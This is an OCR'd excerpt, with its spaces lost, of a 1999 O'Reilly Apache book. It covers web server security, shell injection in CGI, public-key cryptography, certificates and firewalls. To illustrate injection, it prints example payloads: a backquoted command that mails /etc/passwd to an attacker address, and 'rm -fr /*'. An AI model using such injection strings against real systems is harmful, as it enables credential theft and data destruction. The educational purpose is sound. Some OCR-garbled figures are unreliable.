EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page204
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
MimeMagic
Theoptionalmod_mime_magicmoduleuseshintsfromafile'scontentsandmagicnumberstoguesswhatthecontentsare.Itthenusesthisinformationtosetthe
file'smediatypeifitisnotapparentfromtheextension.
DSO
Theexperimentalmodulemod_soisincludedinthedistribution,whichallowsyoutoload
DSOs(DynamicSharedObjects)undervariousflavorsofUnixatruntimeratherlikeWin32
allowsyoutoloadDLLs.AtthemomentthisrequiresafairlysophisticatedunderstandingofC
andUnixandisliabletochangewithoutwarning.Werecommendthatanyonewhoisinterested
readtherelevantsections
in.../src/Configurationand.../htdocs/dso.h.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page205
13
Security
Theoperationofawebserverraisesseveralsecurityissues.Herewelookatthemingeneraltermslateron,wewilldiscussthenecessarycodeindetail.
Wearenomoreanxioustohaveunauthorizedpeopleinourcomputerthantohaveunauthorizedpeopleinourhouse.Intheordinaryway,adesktopPCispretty
secure.Anintruderwouldhavetogetphysicallyintoyourhouseorofficetogetattheinformationinitortodamageit.However,onceyouconnectatelephoneline,
it'sasifyoumovedyourhousetoastreetwith30millioncloseneighbors(notallofthemdesirable),toreyourfrontdooroffitshinges,andwentoutleavingthelights
onandyourchildreninbed.
Acompletediscussionofcomputersecuritywouldfillalibrary.However,themeatofthebusinessisasfollows.Wewanttomakeitimpossibleforstrangerstocopy,
alter,oreraseanyofourdatafiles.Wewanttopreventstrangersfromrunninganyunapprovedprogramsonourmachine.Justasimportant,wewanttopreventour
friendsandlegitimateusersfrommakingsillymistakesthatmayhaveconsequencesasseriousasdeliberatevandalism.Forinstance,theycanexecutethecommand:
rmfr*
anddeletealltheirownfilesandsubdirectories,buttheywon'tbeabletoexecutethisdramaticactioninanyoneelse'sarea.Onehopesnoonewouldbeassillyas
that,butsubtlermistakescanbeasdamaging.
Asfarasthesystemdesignerisconcerned,thereisnotalotofdifferencebetweenvillainyandwillfulignorance.Bothmustbeguardedagainst.
Welookatbasicsecurityasitappliestoasystemwithanumberofterminalsthatmightrangefrom2to10,000,andthenseehowitcanbeappliedtoawebserver.
WeassumethataseriousoperatingsystemsuchasUnixisrunning.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page206
WedonotincludeWin32inthischapter,eventhoughApachenowrunsonit,becauseitisour
opinionthatifyoucareaboutsecurityyoushouldnotbeusingWin32.Thatisnottosaythat
Win32hasnosecurity,butitispoorlydocumented,understoodbyveryfewpeople,and
constantlyunderminedbybugsanddubiouspractices(suchasadvocatingActiveXdownloads
fromtheWeb).
ThebasicideaofstandardUnixsecurityisthateveryoperationonthecomputeriscommandedbyaknownpersonwhocanbeheldresponsibleforhisorheractions.
Everyoneusingthecomputerhastologinsothecomputerknowswhoheorsheis.Usersidentifythemselveswithuniquepasswordsthatarecheckedagainsta
securitydatabasemaintainedbytheadministrator.Onentry,eachpersonisassignedtoagroupofpeoplewithsimilarsecurityprivilegesonaproperlysecuresystem,
everyactiontheusermakesislogged.Everyprogramandeverydatafileonthemachinealsobelongstoasecuritygroup.Theeffectofthesecuritysystemisthata
usercanrunonlyaprogramavailabletohisorhersecuritygroup,andthatprogramcanaccessonlyfilesthatarealsoavailabletotheuser'sgroup.
Inthisway,wecankeeptheaccountspeoplefromfoolingwithengineeringdrawings,andthesalespeopleareunabletogetintotheaccountsareatomassagetheir
approvedexpenseclaims.
Ofcourse,therehastobesomeonewiththeauthoritytogoeverywhereandaltereverythingotherwise,thesystemwouldnevergetsetupinthefirstplace.This
personisthesuperuser,whologsinasrootusingthetopsecretpasswordpencilledonthewalloverthesystemconsole.Heisessential,butbecauseofhisawesome
powers,heisaveryworryingpersontohavearound.Ifanenemyagentsuccessfullyimpersonatesyourheadofsecurity,youareinrealtrouble.
And,ofcourse,thisisexactlytheaimofthewolf:togethimselfintothemachinewithsuperuser'sprivilegessothathecanrunanyprogram.Failingthat,hewantsat
leasttogetinwithprivilegeshigherthanthosetowhichheisentitled.Ifhecandothat,hecanpotentiallydeletedata,readfilesheshouldn't,andcollectpasswordsto
other,morevaluable,systems.Ourobjectistoseethathedoesn't.
InternalandExternalUsers
Aswehavesaid,mostseriousoperatingsystems,includingUnix,providesecuritybylimitingtheabilityofeachusertoperformcertainoperations.Theexactdetails
areunimportant,butwhenweapplythisprincipletoawebserver,weclearlyhavetodecidewhotheusersofthewebserverarewithrespecttothesecurityofour
networkshelteringbehindit.Whenconsideringawebserver'ssecurity,wemustrecognizethatthereareessentiallytwokindsofusers:internalandexternal.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page207
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Theinternalusersarethosewithintheorganizationthatownstheserver(or,atleast,theuserstheownersintendtobeabletoupdateservercontent)theexternalones
inhabittherestoftheInternet.Ofcourse,therearemanylevelsofgranularitybelowthisone,butherewearetryingtocapturethedifferencebetweenuserswhoare
supposedtousetheHTTPserveronlytobrowsepages(theexternalusers),anduserswhomaybepermittedgreateraccesstothewebserver(theinternalusers).
Weneedtoconsidersecurityforbothofthesegroups,buttheexternalusersaremoreworryingandhavetobemorestrictlycontrolled.Itisnotthattheinternalusers
arenecessarilynicerpeopleorlesslikelytogetuptomischief.Insomeways,theyaremorelikelytocreatetrouble,havingmotiveandknowledge,but,toputit
bluntly,weknow(mostly)whosignstheirpaychecks.Theexternalusersareusuallybeyondourvengeance.
Inessence,byconnectingtotheInternet,weallowanyoneintheworldtotypeanythingtheylikeonourserver'skeyboard.Thisisanalarmingthought:wewantto
allowthemtodoaverysmallrangeofsafethingsandtomakesurethattheycannotdoanythingoutsidethatrange.Thisdesirehasacoupleofimplications:
Externalusersshouldonlybeabletoaccessthosefilesandprogramswehavespecifiedandnoothers.
Theservershouldnotbevulnerabletosneakyattacks,likeaskingforapagewithaonemegabytename(theBadGuyhopesthatanamethatlongmightoverruna
fixedlengthbufferandtrashthestack)orwithfunnycharacters(like''!","#,"or"/")includedinthepagenamethatmightcausepartofittobeconstruedasa
commandbytheserver'soperatingsystem,andsoon.Thesescenarioscanbeavoidedonlybycarefulprogramming.Apache'sapproachtothefirstproblemisto
avoidusingfixedsizebuffersforanythingbutfixedsizedata*itsoundssimple,butreallyitcostsalotofpainstakingwork.Theotherproblemsaredealtwithcaseby
case,sometimesafterasecuritybreachhasbeenidentified,butmostoftenjustbycarefulthoughtonthepartofApache'scoders.
Unfortunately,Unixworksagainstus.First,thestandardHTTPportis80.Onlythesuperusercanattachtothisport(thisisamisguidedhistoricalattemptatsecurity),
sotheservermustatleaststartupasthesuperuser:thisisexactlywhatwedonotwant.**
*BufferoverrunsarefarandawaythemostcommoncauseofsecurityholesontheInternet,notjustonwebservers.
**ThisisararecaseinwhichWin32isactuallybetterthanUnix.WearenotrequiredtobesuperuseronWin32,thoughwedohavetohavepermissiontostartservices.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page208
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AnotherproblemisthatthevariousshellsusedbyUnixhavearichsyntax,fullofclevertricksthattheBadGuymaybeabletoexploittodothingswedonotexpect
orlike.Win32isbynomeansimmunetotheseproblemseither,astheonlyshellitprovides(COMMAND.COM)issolackinginpowerthatUnixshellsarealmost
invariablyusedinitsplace.
Forexample,wemighthavesentaformtotheuserinHTMLscript.Hiscomputerinterpretsthescriptandputstheformuponhisscreen.Hefillsintheformandhits
theSubmitbutton.Hismachinethensendsitbacktoourserver,whereitinvokesaURLwiththecontentsoftheformtackedontheend.Wehavesetupourserver
sothatthisURLrunsascriptthatappendsthecontentsoftheformtoafilewecanlookatlater.Partofthescriptmightbethefollowingline:
echo"Youhavesentthefollowingmessage:$MESSAGE"
Theintentionisthatourmachineshouldreturnaconfirmatorymessagetotheuser,quotingwhateverhesaidtousinthetextstring$MESSAGE.
Now,iftheexternaluserisacunningandbadperson,hemaysendusthe$MESSAGE:
'mailwolf@lair.com<CH:160>/etc/passwd'
Sincebackquotesareinterpretedbytheshellasenclosingcommands,thishasthealarmingeffectofsendingourtopsecretpasswordfiletothiscompletestranger.
Or,withlessimaginationbutequalmalice,hemightsimplyhavesentus:
`rmfr/*'
whichamusinglylicksourharddiskascleanasawolf'sdinnerplate.
Apache'sSecurityPrecautions
Apacheaddressestheseproblemsasfollows:
WhenApachestarts,itconnectstothenetworkandcreatesnumerouscopiesofitself.Thesecopiesimmediatelychangeidentitytothatofasaferuser,inthecaseof
ourexamples,thefeeblewebusersofwebgroup(seeChapter2,OurFirstWebSite).Onlytheoriginalprocessretainsthesuperuseridentity,butonlythenew
processesservicenetworkrequests.Theoriginalprocessneverhandlesthenetworkitsimplyoverseestheoperationofthechildprocesses,startingnewonesas
neededandkillingoffexcessonesasnetworkloaddecreases.
Outputtoshellsiscarefullytestedfordangerouscharacters,butthisonlyhalfsolvestheproblem.ThewritersofCGIscripts(seeChapter4,CommonGateway
Interface(CGI))mustbecarefultoavoidthepitfallstoo.TheforegoingrepresentstheofficialApacheline.However,thewholeschemewasinherited
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page209
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
fromNCSA,and,inouropinion,iscompletelymisguided.Theproblemisthatthedangerouscharactersareprotectedbybackslashes,which,ofcourse,
disappearoncetheyhavebeeninterpretedbytheshell.Ifthatshellthencallsanotheroneandpassesthemon,theirdangerousbehaviorreappears.
Internaluserspresenttheirownproblems,themainonebeingthattheywanttowriteCGIscriptstogowiththeirpages.Inatypicalinstallation,theclient,dressedas
Apache(webuserofwebgroup)doesnothavehighenoughpermissionstorunthosescriptsinanyusefulway.ThiscanbesolvedwithsuEXEC(seethesection
"suEXEConUnix"inChapter4).
BinarySignatures,VirtualCash
Thefinalandperhapsthemostimportantaspectofsecurityisprovidingvirtualmoneyorbinarycashfromanotherpointofview,thiscouldmeanmakingdigital
signatures,andthereforeelectronicchecks,possible.
Atfirstsight,thisseemsimpossible.Theauthoritytoissuedocumentssuchaschecksisprovedbyasignature.Simpleasitis,andapparentlyopentofraud,thesystem
doesactuallyworkonpaper.WemighttransferitliterallytotheWebbyscanninganimageofaperson'ssignatureandsendingthattovalidatehisorherdocuments.
However,whateversecuritythatwaslockedtothepapersignaturehasnowevaporated.Aforgersimplyhastocopythebitpatternthatmakesuptheimage,storeit,
andattachittoanyofhisorherpurchasestostartfreeshopping.
Thewaytowriteadigitalsignatureistoperformsomeactionondataprovidedbytheotherpartythatonlyyoucouldhaveperformed,therebyprovingyouarewho
yousay.
Theideasofpublickey(PK)encryptionareprettywellknownbynow,sowewilljustskimoverthesalientpoints.Youhavetwokeys:one(yourpublickey)that
encryptsmessagesandone(yourprivatekey)thatdecryptsmessagesencryptedwithyourpublickey(andviceversa).Yougivethepublickeytoanyonewhoasks
andkeepyourprivatekeysecret.Becausethekeysforencryptionanddecryptionarenotthesame,thesystemisalsocalledasymmetrickeyencryption.
Forinstance,let'sapplythetechnologytoasimplematteroftheheart.Yousubscribetoalonelyheartsnewsgroupwherepersonsdescribetheirattractionsandtheir
willingnesstomeetpersonsofsimilarromanticdesires.Thepersonyoufancypublisheshisorherpublickeyatthebottomofthemessagedescribinghisorher
attractions.Youreply:
Iam(insertunrecognizablyfavorabledescriptionofself).Meetmebehind
thebicycleshedsat00.30.Myheartburns..(etc.)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page210
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Youencryptthiswithyourparamour'spublickeyandsendit.Whoeverseesitontheway,orfindsitlyingaroundonthecomputerattheotherend,willnotbeableto
decryptitandsolearnthehourofyourhappiness.Butyouroneandonlycandecryptit,andcan,inturn,encryptareply:
YES,Yes,athousandtimesyes!
usingtheprivatekeyandsenditback.Ifyoucandecryptitusingthepublickey,thenyoucanbesurethatitisfromtheright,fascinatingpersonandnotabunchof
jokerswhoareplanningtogatherroundyouatthewitchinghourtomakelowremarks.
However,anyonewhoguessesthepublickeytousecouldalsodecryptthereply,soyourtruelovecouldencryptthereplyusinghisorherprivatekey(toproveheor
shesentit)andthenencryptitagainusingyourpublickeytopreventanyoneelsefromreadingit.Youthendecryptittwicetofindthateverythingiswell.
Theencryptionanddecryptionmoduleshaveasingle,crucialproperty:
Althoughyouhavetheencryptingkeynumberinyourhand,youcan'tdeducethedecryptingone.(Well,youcan,butonlyafteryearsofcomputing.)Thisisbecause
encryptionisdonewithalargenumber(thekey),anddecryptiondependsonknowingitsprimefactors,whichareverydifficulttodetermine.
ThestrengthofPKencryptionismeasuredbythelengthofthekey,becausethisinfluencesthelengthoftimeneededtocalculatetheprimefactors.TheBadGuys
and,oddly,theAmericangovernment,wouldlikepeopletouseashortkey,sothattheycanbreakanymessagestheywant.Peoplewhodonotthinkthisisagood
ideawanttousealongkeysothattheirmessagescan'tbebroken.Theonlypracticallimitsarethatthelongerthekey,thelongerittakestoconstructitinthefirst
place,andthelongerthesumstakeeachtimeyouuseit.
AnexperimentinbreakingaPKkeywasdonein1994using600volunteersovertheInternet.Ittookeightmonths'workby1600computerstofactora429bit
number(seePGP:PrettyGoodPrivacy,bySimsonGarfinkel,fromO'Reilly&Associates).Thetimetofactoranumberroughlydoublesforeveryadditional10
bits,soitwouldtakethesamecrewabitlessthanamillionmillionmillionyearstofactora1024bitkey.
However,abreakthroughinthemathematicsoffactoringcouldchangethatovernight.Also,proponentsofquantumcomputerssaythatthese(sofarconceptual)
machineswillrunsomuchfasterthat1024bitkeyswillbebreakableinlessthanlifetimeruns.
Butforthemoment,PKlooksprettysafe.ThePKencryptionmethodachievesseveralholygrailsoftheencryptioncommunity:
Itis(asfarasweknow)effectivelyunbreakable.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page211
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Itisportableauser'spublickeyneedstobeonly128byteslong*andmaywellbeshorter.
Anyonecanencrypt,butonlytheholderoftheprivatekeycandecryptor,inreverse,iftheprivatekeyencryptsandthepublickeydecryptstomakeasensible
plaintext,thenthisprovesthattheproperpersonsignedthedocument.ThediscoverersofpublickeyencryptionmusthavethoughtitwasChristmaswhenthey
realizedallthis.
Ontheotherhand,PKisoneofthefewencryptionmethodsthatcanbebrokenwithoutanytraffic.Theclassicalwaytodecryptcodesistogatherenoughmessages
(whichinitselfisdifficultandmaybeimpossibleiftheusercunninglysendstoofewmessages)and,fromtheregularitiesoftheunderlyingplaintextthatshowthrough,
workbacktotheencryptionkey.Withalotofhelpontheside,thisishowtheGermanEnigmacodeswerebrokenduringWorldWarII.Itisworthnoticingthatthe
PKencryptionmethodisbreakablewithoutanytraffic:you"just"havetocalculatetheprimefactorsofthepublickey.Inthisitisunique,butaswehaveseenearlier,it
isn'tsoeasyeither.
Giventhesetwonumbers,thepublicandprivatekeys,thetwomodulesareinterchangeable:aswellasworkingthewayroundyouwouldexpect,youcanalsotakea
plaintextmessage,decryptitwiththedecryptionmodule,andencryptitwiththeencryptionmoduletogetbacktoplaintextagain.
Thepointofthisisthatyoucannowencryptamessagewithyourprivatekeyandsendittoanyonewhohasyourpublickey.Thefactthatitdecodestoreadabletext
provesthatitcamefromyou:itisanunforgeableelectronicsignature.
ThisinterestingfactisobviouslyusefulwhenitcomestoexchangingmoneyovertheWeb.YouopenanaccountwithsomeonelikeAmericanExpress.Youwantto
buyacopyofthisexcellentbookfromthepublishers,soyousendAmexanencryptedmessagetellingthemtodebityouraccountandcreditO'Reilly's.Amexcan
safelydothisbecause(providingyouhavebeenreasonablysensibleandnotpublishedyourprivatekey)youaretheonlypersonwhocouldhavesentthatmessage.
Electroniccommerceisalotmorecomplicated(naturally!)thanthis,butinessencethisiswhathappens.
OneofthecomplicationsisthatbecausePKencryptioninvolvesarithmeticwithverybignumbers,itisveryslow.Ourloversabovecouldhaveencodedtheir
completemessagesusingPK,buttheymighthavegottenveryboreddoingit.Inreallife,messagesareencryptedusingafastbutoldfashionedsystembasedona
singlesecretkeythatbothpartiesknow.Thetechnologyexiststomakethiskind
*
Somesayyoushoulduselongerkeystobereallysafe.Nooneweknowisadvocatingmorethan4096bits(512bytes)yet.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page212
ofencryptionasuncrackableasPK:theonlywaytoattackagoodsystemistotryeverypossiblekeyinturn,andthekeydoesnothavetobeverylongtomakethis
processtakeupsomuchtimethatitiseffectivelyimpossible.Forinstance,ifyoutriedeachpossibilityfora128bitkeyattherateofamillionasecond,itwouldtake
1025yearstofindtherightone.Thetraditionaldrawbacktosecretkeycryptographyhasalwaysbeenthedifficultyofgettingyoursecretkeytotheotherperson
withoutanyoneelsegettingalookatit.
ContemporarysecuretransactionmethodsusuallyinvolvetransmittingasecretkeybyPK.Sincethekeyisshort(say,128bitsor16characters),thisdoesnottake
long.Thenthekeyisusedtoencryptanddecryptthemessagewithadifferentalgorithm,probablyInternationalDataEncryptionAlgorithm(IDEA)orData
EncryptionStandard(DES).So,forinstance,thePrettyGoodPrivacypackagemakesupakeyandtransmitsitusingPK,thenusesIDEAtoencryptanddecryptthe
actualmessage.
Certificates
"Nomanisanisland,"JohnDonneremindsus.Wedonotpracticecryptographyonourownindeed,therewouldbelittlepoint.Eveninthesimplesituationofthespy
andhisspymaster,itisimportanttobesureyouareactuallytalkingtothecorrectperson.Manyintelligenceoperationsdependoncapturingthespyandreplacinghim
orherattheradiowithoneoftheirownpeopletofeedtheenemywithtwaddle.Thiscanbeannoyinganddangerousforthespymaster,soheoftenteacheshisspies
littleradiotricksthathehopesthecaptorswilloverlookandsobetraythemselves.
InthelargercryptographicworldoftheWeb,theproblemisasacute.Whenweorderapackofcardsfromwww.butterthlies.com,wewanttobesurethecompany
acceptingourmoneyreallyisthatcelebratedcardpublisherandnotsomeinterlopersimilarly,Butterthlies,Inc.,wantstobesurethatwearewhowesayweareand
thatwehavesomesortofcreditaccountthatwillpayfortheirsplendidofferings.Theproblemsaresolvedtosomeextentbytheideaofacertificate.Acertificateis
anelectronicdocumentsigned(i.e.,encryptedusingaprivatekey)bysomerespectablepersonorcompanycalledacertificationauthority(CA).Itcontainsthe
holder'spublickeyplusinformationabouthimorher:name,emailaddress,company,andsoon(see"MakeaTestCertificate"laterinthischapter).Thereisno
reasonwhy,inthefuture,itshouldnotcontainheight,weight,fingerprints,retinalpatterns,keyboardstyle,andwhateverotherthingstechnologycanthinkupunderthe
rubricofbiometrics.YougetthisdocumentbyfillinginacertificaterequestformissuedbysomeCAafteryouhavecrossedtheirpalmwithsilverandtheyhave
appliedwhateverlevelofverificationtheydeemappropriate,theysendyoubackthedatafile.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page213
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Inthefuture,thecertificationauthorityitselfmayholdacertificatefromsomehigherupCA,andsoon,backtoaCAthatissoaugustandimmenselyrespectablethat
itcansignitsowncertificate.(Intheabsenceofacorporealdeity,somehumanhastodothis.)Thiscertificateisknownasarootcertificate,andagoodroot
certificateisoneforwhichthepublickeyiswidelyandreliablyavailable.
Currently,prettymucheveryCAusesaselfsignedcertificate,andcertainlyallthepubliconesdo.Untilsomefairlyfundamentalworkhasbeendonetodealwithhow
andwhentotrustsecondlevelcertificates,thereisn'treallyanyalternative.Afterall,justbecauseyoutrustFredtosignacertificateforBill,doesthismeanyoushould
trustBilltosigncertificates?Notinouropinion.
YoumightliketogetacertificatefromThawteConsulting(http://www.tbawte.com/),aswedolaterinthischapter.Theyprovideafreebetatestcertificateyoucan
playwith,aswellasproperonesatdifferentlevelsofreliabilitythatcostmoreorlessmoney.Thawte'scertificateautomaticallyinstallsintoyourcopyofNetscape.
Testcertificatescanalsobehadfromhttp://www.x509.com/.
WhenyoudobusinesswithsomeoneelseontheWeb,youexchangecertificates,whichareencryptedintoyourmessagessothattheycannotbestolenintransit.
Securetransactions,therefore,requirethepartiestobeabletoverifythecertificatesofeachother.Inordertoverifyacertificateyouneedtohavethepublickeyof
theauthoritythatissuedit.IfyouarepresentedwithacertificatefromanunknownauthoritywhenApacheSSLhasbeentoldtoinsistonknownCAs,itrefuses
access.ButgenerallyyouwillkeepastockofthepublishedpublickeysoftheleadingCAsinadirectoryreadyforuse,andyoushouldmakeitplaininyourpublicity
whichCAsyouaccept.
Whenthewholecertificatestructureisinplace,therewillbeachainofcertificatesleadingbackthroughbiggerorganizationstoafewrootcertificateauthorities,who
arelikelytobesobigandimpressive,likethetelephonecompaniesorthebanks,thatnoonedoubtstheirprovenance.
Thequestionofchainsofcertificatesisthefirststageintheformalizationofourideasofbusinessandpersonalfinancialtrust.Sincetheestablishmentofbanksinthe
1300s,wehavegottenusedtotheideathatifwewalkintoabank,itissafetogiveourhardearnedmoneytothecompletestrangersittingbehindthetill.However,
ontheInternet,thereassuranceoftheexpensivebuildinganditsimpressivestaffwillbemissing.Itwillbereplacedinpartbycertificatechains.Butjustbecausea
personhasacertificatedoesnotmeanyoushouldtrusthimorherunreservedly.LocalBankmaywellhaveacertificatefromCitiBank,andCitiBankfromtheFed,and
theFedfromwhicheverdeityisintheCAbusiness.LocalBankmayhavegiventheirjanitoracertificate,butallthismeansisthatheprobablyis
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page214
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
thejanitorhesaysheis.Youwouldnotwanttogivehimautomaticauthoritytodebityouraccountwithcleaningcharges.
Youcertainlywouldnottrustsomeonewhohadnocertificate,butwhatyouwouldtrustthemtodowoulddependonpolicystatementsissuedbyhisorher
employersandfiduciarysuperiors,modifiedbyyourownpolicies,whichmostpeoplehavenothadtothinkverymuchabout.Thewholesubjectisextremelyextensive
andwillprobablyboreustodistractionbeforeitallsettlesdown.
Firewalls
ItiswellknownthattheWebispopulatedbymeanandunscrupulouspeoplewhowanttomessupyoursite.Manyconservativecitizensthinkthatafirewallisthe
waytostopthem.ThepurposeofafirewallistopreventtheInternetfromconnectingtoarbitrarymachinesorservicesonyourownLAN/WAN.Anotherpurpose,
dependingonyourenvironment,maybetostopusersonyourLANfromroamingfreelyaroundtheInternet.
Thetermfirewalldoesnotmeananythingstandard.Therearelotsofwaystoachievetheobjectivesjuststated.Twoextremesarepresentedinthissection,andthere
arelotsofpossibilitiesinbetween.Thisisabigsubject:hereweareonlytryingtoalertthewebmastertotheproblemsthatexistandtosketchsomeofthewaysto
solvethem.Formoreinformationonthissubject,seeBuildingInternetFirewalls,byD.BrentChapmanandElizabethD.Zwicky(O'Reilly&Associates).
PacketFiltering
Thistechniqueisthesimplestfirewall.Inessence,yourestrictpacketsthatcomeinfromtheInternettosafeports.Packetfilterfirewallsareusuallyimplementedusing
thefilteringbuiltintoyourInternetrouter.Thismeansthatnoaccessisgiventoportsbelow1024exceptforcertainspecifiedonesconnectingtosafeservices,suchas
SMTP,NNTP,DNS,FTP,andHTTP.Thebenefitisthataccessisdeniedtopotentiallydangerousservices,suchasthefollowing:
finger
Givesalistofloggedinusers,andintheprocesstellstheBadGuyshalfofwhattheyneedtologinthemselves.
exec
AllowstheBadGuytorunprogramsremotely.
TFTP
Analmostcompletelysecurityfreefiletransferprotocol.
Thepossibilitiesarehorrendous!
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page215
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Theadvantagesofpacketfilteringarethatit'squickandeasy.Butthereareatleasttwodisadvantages:
Eventhestandardservicescanhavebugsallowingaccess.Onceasinglemachineisbreached,thewholeofyournetworkiswideopen.Thehorriblycomplex
programsendmailisafineexampleofaservicethathas,overtheyears,aidedmanyacracker.
Someoneontheinside,cooperatingwithsomeoneontheoutside,caneasilybreachthefirewall.
SeparateNetworks
Amoreextremefirewallimplementationinvolvesusingseparatenetworks.Inessence,youhavetwopacketfiltersandthreeseparate,physical,networks:Inside,
Inbetween,andOutside(seeFigure131).ThereisapacketfilterfirewallbetweenInsideandInbetween,andbetweenOutsideandtheInternet.Anonrouting
host,*knownasabastionhost,issituatedonInbetweenandOutside.ThishostmediatesallinteractionbetweenInsideandtheInternet.Insidecanonlytalkto
Inbetween,andtheInternetcanonlytalktoOutside.
Advantages
Administratorsofthebastionhosthavemoreorlesscompletecontrol,notonlyovernetworktrafficbutalsooverhowitishandled.Theycandecidewhichpackets
arepermitted(withthepacketfilter)andalso,forthosethatarepermitted,whatsoftwareonthebastionhostcanreceivethem.Also,sincemanyadministratorsof
corporatesitesdonottrusttheirusersfurtherthantheycanthrowthem,theytreatInsideasifitwerejustasdangerousasOutside.
Disadvantages
Separatenetworkstakealotofworktoconfigureandadminister,althoughanincreasingnumberoffirewallproductsareavailablethatmayeasethelabor.The
problemistobridgethevariouspiecesofsoftwaretocauseittoworksomehowviaanintermediatemachine,inthiscasethebastionhost.Itisdifficulttobemore
specificwithoutgoingintounwieldydetail,butHTTP,forinstance,canbebridgedbyrunninganHTTPproxyandconfiguringthebrowserappropriately,aswesawin
Chapter9,ProxyServer.Thesedays,mostsoftwarecanbemadetoworkbyappropriateconfigurationinconjunctionwithaproxyrunningonthebastionhost,or
elseitworkstransparently.Forexample,SimpleMailTransferProtocol(SMTP)isalreadydesignedtohopfromhosttohost,soitisabletotraversefirewallswithout
*
Nonroutingmeansthatitwon'tforwardpacketsbetweenitstwonetworks.Thatis,itdoesn'tactasarouter.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page216
Figure131.
Bastionhostconfiguration
modification.Veryoccasionally,youmayfindsomeInternetsoftwareimpossibletobridgeifitusesaproprietaryprotocolandyoudonothaveaccesstotheclient's
sourcecode.
SMTPworksbylookingforMailExchange(MX)recordsintheDNScorrespondingtothedestination.So,forexample,ifyousendmailtooursonandbrother
Adam*atadam@aldigital.algroup.co.uk,anaddressthatisprotectedbyafirewall,theDNSentrylookslikethis:
#digMXaldigital.algroup.co.uk
<>>DiG2.0<>>MXaldigital.algroup.co.uk
>>HEADER<opcode:QUERY,status:NOERROR,id:6
flags:qraardraQues:1,Ans:2,Auth:0,Addit:2
QUESTIONS:
aldigital.algroup.co.uk,type=MX,class=IN
ANSWERS:
aldigital.algroup.co.uk.86400MX5knievel.algroup.co.uk.
aldigital.algroup.co.uk.86400MX7arachnet.algroup.co.uk.
*
Thatis,he'sthesonofoneofusandthebrotheroftheother.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
